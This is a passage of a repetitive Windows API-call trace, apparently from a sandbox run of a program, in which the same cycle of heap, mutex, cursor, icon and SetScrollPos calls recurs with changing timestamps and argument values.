	[0094.221] GetLastError () returned 0x578
	[0094.221] GetLastError () returned 0x578
	[0094.221] GetLastError () returned 0x0
	[0094.221] ReleaseMutex (hMutex=0x360) returned 1
	[0094.221] CloseHandle (hObject=0x360) returned 1
	[0094.222] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1127712924, bRedraw=1) returned 0
	[0094.224] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.224] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.224] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.224] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.224] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.224] GetCurrentProcessId () returned 0xb50
	[0094.224] GetLastError () returned 0x578
	[0094.224] GetLastError () returned 0x578
	[0094.224] GetLastError () returned 0x0
	[0094.224] ReleaseMutex (hMutex=0x360) returned 1
	[0094.224] CloseHandle (hObject=0x360) returned 1
	[0094.224] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1852580682, bRedraw=1) returned 0
	[0094.224] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.224] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.224] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.225] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.225] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.225] GetCurrentProcessId () returned 0xb50
	[0094.225] GetLastError () returned 0x578
	[0094.225] GetLastError () returned 0x578
	[0094.225] GetLastError () returned 0x0
	[0094.225] ReleaseMutex (hMutex=0x360) returned 1
	[0094.225] CloseHandle (hObject=0x360) returned 1
	[0094.225] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1707888904, bRedraw=1) returned 0
	[0094.225] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.225] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.225] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.225] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.225] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.225] GetCurrentProcessId () returned 0xb50
	[0094.225] GetLastError () returned 0x578
	[0094.225] GetLastError () returned 0x578
	[0094.225] GetLastError () returned 0x0
	[0094.225] ReleaseMutex (hMutex=0x360) returned 1
	[0094.225] CloseHandle (hObject=0x360) returned 1
	[0094.225] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-963761242, bRedraw=1) returned 0
	[0094.226] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.226] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.226] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.226] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.226] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.226] GetCurrentProcessId () returned 0xb50
	[0094.226] GetLastError () returned 0x578
	[0094.226] GetLastError () returned 0x578
	[0094.226] GetLastError () returned 0x0
	[0094.226] ReleaseMutex (hMutex=0x360) returned 1
	[0094.226] CloseHandle (hObject=0x360) returned 1
	[0094.226] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-210003628, bRedraw=1) returned 0
	[0094.226] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.226] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.226] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.226] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.226] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.226] GetCurrentProcessId () returned 0xb50
	[0094.226] GetLastError () returned 0x578
	[0094.226] GetLastError () returned 0x578
	[0094.226] GetLastError () returned 0x0
	[0094.226] ReleaseMutex (hMutex=0x360) returned 1
	[0094.226] CloseHandle (hObject=0x360) returned 1
	[0094.227] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=553383938, bRedraw=1) returned 0
	[0094.227] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.227] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.227] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.227] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.227] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.227] GetCurrentProcessId () returned 0xb50
	[0094.227] GetLastError () returned 0x578
	[0094.227] GetLastError () returned 0x578
	[0094.227] GetLastError () returned 0x0
	[0094.227] ReleaseMutex (hMutex=0x360) returned 1
	[0094.227] CloseHandle (hObject=0x360) returned 1
	[0094.227] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1326401456, bRedraw=1) returned 0
	[0094.227] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.227] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.227] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.227] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.227] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.227] GetCurrentProcessId () returned 0xb50
	[0094.227] GetLastError () returned 0x578
	[0094.227] GetLastError () returned 0x578
	[0094.228] GetLastError () returned 0x0
	[0094.228] ReleaseMutex (hMutex=0x360) returned 1
	[0094.228] CloseHandle (hObject=0x360) returned 1
	[0094.228] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2109048926, bRedraw=1) returned 0
	[0094.228] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.228] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.228] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.228] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.228] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.228] GetCurrentProcessId () returned 0xb50
	[0094.228] GetLastError () returned 0x578
	[0094.228] GetLastError () returned 0x578
	[0094.228] GetLastError () returned 0x0
	[0094.228] ReleaseMutex (hMutex=0x360) returned 1
	[0094.228] CloseHandle (hObject=0x360) returned 1
	[0094.228] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1393640948, bRedraw=1) returned 0
	[0094.228] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.228] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.228] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.228] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.229] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.229] GetCurrentProcessId () returned 0xb50
	[0094.229] GetLastError () returned 0x578
	[0094.229] GetLastError () returned 0x578
	[0094.229] GetLastError () returned 0x0
	[0094.229] ReleaseMutex (hMutex=0x360) returned 1
	[0094.229] CloseHandle (hObject=0x360) returned 1
	[0094.229] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-591733574, bRedraw=1) returned 0
	[0094.229] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.229] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.229] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.229] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.229] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.229] GetCurrentProcessId () returned 0xb50
	[0094.229] GetLastError () returned 0x578
	[0094.229] GetLastError () returned 0x578
	[0094.229] GetLastError () returned 0x0
	[0094.229] ReleaseMutex (hMutex=0x360) returned 1
	[0094.229] CloseHandle (hObject=0x360) returned 1
	[0094.229] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=219803752, bRedraw=1) returned 0
	[0094.229] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.229] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.230] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.230] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.230] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.230] GetCurrentProcessId () returned 0xb50
	[0094.230] GetLastError () returned 0x578
	[0094.230] GetLastError () returned 0x578
	[0094.230] GetLastError () returned 0x0
	[0094.230] ReleaseMutex (hMutex=0x360) returned 1
	[0094.230] CloseHandle (hObject=0x360) returned 1
	[0094.230] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1040971030, bRedraw=1) returned 0
	[0094.230] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.230] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.230] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.230] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.230] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.230] GetCurrentProcessId () returned 0xb50
	[0094.230] GetLastError () returned 0x578
	[0094.230] GetLastError () returned 0x578
	[0094.230] GetLastError () returned 0x0
	[0094.230] ReleaseMutex (hMutex=0x360) returned 1
	[0094.230] CloseHandle (hObject=0x360) returned 1
	[0094.230] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1871768260, bRedraw=1) returned 0
	[0094.231] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.231] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.231] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.231] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.231] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.231] GetCurrentProcessId () returned 0xb50
	[0094.231] GetLastError () returned 0x578
	[0094.231] GetLastError () returned 0x578
	[0094.231] GetLastError () returned 0x0
	[0094.231] ReleaseMutex (hMutex=0x360) returned 1
	[0094.231] CloseHandle (hObject=0x360) returned 1
	[0094.231] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1582771854, bRedraw=1) returned 0
	[0094.231] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.231] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.231] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.231] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.231] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.231] GetCurrentProcessId () returned 0xb50
	[0094.231] GetLastError () returned 0x578
	[0094.231] GetLastError () returned 0x578
	[0094.232] GetLastError () returned 0x0
	[0094.232] ReleaseMutex (hMutex=0x360) returned 1
	[0094.232] CloseHandle (hObject=0x360) returned 1
	[0094.232] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-732714720, bRedraw=1) returned 0
	[0094.232] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.232] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.232] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.232] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.232] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.232] GetCurrentProcessId () returned 0xb50
	[0094.232] GetLastError () returned 0x578
	[0094.232] GetLastError () returned 0x578
	[0094.232] GetLastError () returned 0x0
	[0094.232] ReleaseMutex (hMutex=0x360) returned 1
	[0094.232] CloseHandle (hObject=0x360) returned 1
	[0094.232] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=126972366, bRedraw=1) returned 0
	[0094.232] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.232] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.232] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.232] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.232] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.232] GetCurrentProcessId () returned 0xb50
	[0094.232] GetLastError () returned 0x578
	[0094.233] GetLastError () returned 0x578
	[0094.233] GetLastError () returned 0x0
	[0094.233] ReleaseMutex (hMutex=0x360) returned 1
	[0094.233] CloseHandle (hObject=0x360) returned 1
	[0094.233] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=996289404, bRedraw=1) returned 0
	[0094.233] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.233] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.233] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.233] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.233] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.233] GetCurrentProcessId () returned 0xb50
	[0094.233] GetLastError () returned 0x578
	[0094.233] GetLastError () returned 0x578
	[0094.233] GetLastError () returned 0x0
	[0094.233] ReleaseMutex (hMutex=0x360) returned 1
	[0094.233] CloseHandle (hObject=0x360) returned 1
	[0094.233] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1875236394, bRedraw=1) returned 0
	[0094.233] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.233] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.233] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.234] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.234] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.234] GetCurrentProcessId () returned 0xb50
	[0094.234] GetLastError () returned 0x578
	[0094.234] GetLastError () returned 0x578
	[0094.234] GetLastError () returned 0x0
	[0094.234] ReleaseMutex (hMutex=0x360) returned 1
	[0094.234] CloseHandle (hObject=0x360) returned 1
	[0094.234] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1531153960, bRedraw=1) returned 0
	[0094.234] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.234] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.234] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.234] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.234] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.234] GetCurrentProcessId () returned 0xb50
	[0094.234] GetLastError () returned 0x578
	[0094.234] GetLastError () returned 0x578
	[0094.234] GetLastError () returned 0x0
	[0094.234] ReleaseMutex (hMutex=0x360) returned 1
	[0094.234] CloseHandle (hObject=0x360) returned 1
	[0094.234] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-632947066, bRedraw=1) returned 0
	[0094.235] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.235] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.235] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.235] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.235] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.235] GetCurrentProcessId () returned 0xb50
	[0094.235] GetLastError () returned 0x578
	[0094.235] GetLastError () returned 0x578
	[0094.235] GetLastError () returned 0x0
	[0094.235] ReleaseMutex (hMutex=0x360) returned 1
	[0094.235] CloseHandle (hObject=0x360) returned 1
	[0094.235] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=274889780, bRedraw=1) returned 0
	[0094.235] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.235] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.235] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.235] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.235] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.235] GetCurrentProcessId () returned 0xb50
	[0094.235] GetLastError () returned 0x578
	[0094.235] GetLastError () returned 0x578
	[0094.235] GetLastError () returned 0x0
	[0094.235] ReleaseMutex (hMutex=0x360) returned 1
	[0094.236] CloseHandle (hObject=0x360) returned 1
	[0094.236] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1192356578, bRedraw=1) returned 0
	[0094.236] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.236] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.236] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.236] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.236] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.236] GetCurrentProcessId () returned 0xb50
	[0094.236] GetLastError () returned 0x578
	[0094.236] GetLastError () returned 0x578
	[0094.236] GetLastError () returned 0x0
	[0094.236] ReleaseMutex (hMutex=0x360) returned 1
	[0094.236] CloseHandle (hObject=0x360) returned 1
	[0094.236] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2119453328, bRedraw=1) returned 0
	[0094.237] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.237] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.237] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.237] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.237] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.237] GetCurrentProcessId () returned 0xb50
	[0094.237] GetLastError () returned 0x578
	[0094.237] GetLastError () returned 0x578
	[0094.237] GetLastError () returned 0x0
	[0094.237] ReleaseMutex (hMutex=0x360) returned 1
	[0094.237] CloseHandle (hObject=0x360) returned 1
	[0094.237] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1238787266, bRedraw=1) returned 0
	[0094.237] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.237] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.238] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.238] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.238] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.238] GetCurrentProcessId () returned 0xb50
	[0094.238] GetLastError () returned 0x578
	[0094.238] GetLastError () returned 0x578
	[0094.238] GetLastError () returned 0x0
	[0094.238] ReleaseMutex (hMutex=0x360) returned 1
	[0094.238] CloseHandle (hObject=0x360) returned 1
	[0094.238] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-292430612, bRedraw=1) returned 0
	[0094.238] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.238] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.238] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.238] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.238] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.238] GetCurrentProcessId () returned 0xb50
	[0094.238] GetLastError () returned 0x578
	[0094.238] GetLastError () returned 0x578
	[0094.238] GetLastError () returned 0x0
	[0094.238] ReleaseMutex (hMutex=0x360) returned 1
	[0094.238] CloseHandle (hObject=0x360) returned 1
	[0094.238] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=663555994, bRedraw=1) returned 0
	[0094.239] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.239] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.239] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.239] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.239] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.239] GetCurrentProcessId () returned 0xb50
	[0094.239] GetLastError () returned 0x578
	[0094.239] GetLastError () returned 0x578
	[0094.239] GetLastError () returned 0x0
	[0094.239] ReleaseMutex (hMutex=0x360) returned 1
	[0094.239] CloseHandle (hObject=0x360) returned 1
	[0094.239] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1629172552, bRedraw=1) returned 0
	[0094.239] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.239] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.239] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.239] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.239] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.239] GetCurrentProcessId () returned 0xb50
	[0094.239] GetLastError () returned 0x578
	[0094.239] GetLastError () returned 0x578
	[0094.239] GetLastError () returned 0x0
	[0094.240] ReleaseMutex (hMutex=0x360) returned 1
	[0094.240] CloseHandle (hObject=0x360) returned 1
	[0094.240] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1690548234, bRedraw=1) returned 0
	[0094.240] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.240] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.240] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.240] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.240] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.240] GetCurrentProcessId () returned 0xb50
	[0094.240] GetLastError () returned 0x578
	[0094.240] GetLastError () returned 0x578
	[0094.240] GetLastError () returned 0x0
	[0094.240] ReleaseMutex (hMutex=0x360) returned 1
	[0094.240] CloseHandle (hObject=0x360) returned 1
	[0094.240] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-705671772, bRedraw=1) returned 0
	[0094.240] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.240] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.240] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.240] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.240] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.240] GetCurrentProcessId () returned 0xb50
	[0094.240] GetLastError () returned 0x578
	[0094.241] GetLastError () returned 0x578
	[0094.241] GetLastError () returned 0x0
	[0094.241] ReleaseMutex (hMutex=0x360) returned 1
	[0094.241] CloseHandle (hObject=0x360) returned 1
	[0094.241] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=288834642, bRedraw=1) returned 0
	[0094.241] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.241] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.241] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.241] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.241] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.241] GetCurrentProcessId () returned 0xb50
	[0094.241] GetLastError () returned 0x578
	[0094.241] GetLastError () returned 0x578
	[0094.241] GetLastError () returned 0x0
	[0094.241] ReleaseMutex (hMutex=0x360) returned 1
	[0094.241] CloseHandle (hObject=0x360) returned 1
	[0094.241] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1292971008, bRedraw=1) returned 0
	[0094.241] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.241] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.241] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.242] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.242] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.242] GetCurrentProcessId () returned 0xb50
	[0094.242] GetLastError () returned 0x578
	[0094.242] GetLastError () returned 0x578
	[0094.242] GetLastError () returned 0x0
	[0094.242] ReleaseMutex (hMutex=0x360) returned 1
	[0094.242] CloseHandle (hObject=0x360) returned 1
	[0094.242] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1988229970, bRedraw=1) returned 0
	[0094.242] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.242] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.242] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.242] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.242] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.242] GetCurrentProcessId () returned 0xb50
	[0094.242] GetLastError () returned 0x578
	[0094.242] GetLastError () returned 0x578
	[0094.242] GetLastError () returned 0x0
	[0094.242] ReleaseMutex (hMutex=0x360) returned 1
	[0094.242] CloseHandle (hObject=0x360) returned 1
	[0094.242] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-964833700, bRedraw=1) returned 0
	[0094.242] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.243] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.243] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.243] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.243] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.243] GetCurrentProcessId () returned 0xb50
	[0094.243] GetLastError () returned 0x578
	[0094.243] GetLastError () returned 0x578
	[0094.243] GetLastError () returned 0x0
